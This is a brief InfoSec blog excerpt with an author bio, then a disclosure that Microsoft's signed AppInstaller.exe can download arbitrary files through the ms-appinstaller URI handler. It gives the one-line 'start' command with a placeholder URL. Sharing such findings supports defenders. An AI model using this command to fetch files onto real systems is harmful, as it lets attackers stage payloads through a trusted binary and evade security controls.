A bit of pontification, a touch of sarcasm, but mostly just sharing my experiences of a career in the wonderful world we call InfoSec. A three-time CISO who is a touch outspoken with a whole lot of opinion. More on LinkedIn...

I found a way to download arbitrary files with AppInstaller.exe (signed by MS).
start ms-appinstaller://?source=<url>

`start` calls the default URI handler, spawns AppInstaller.exe, and downloads an arbitrary file which you can find using forfiles.
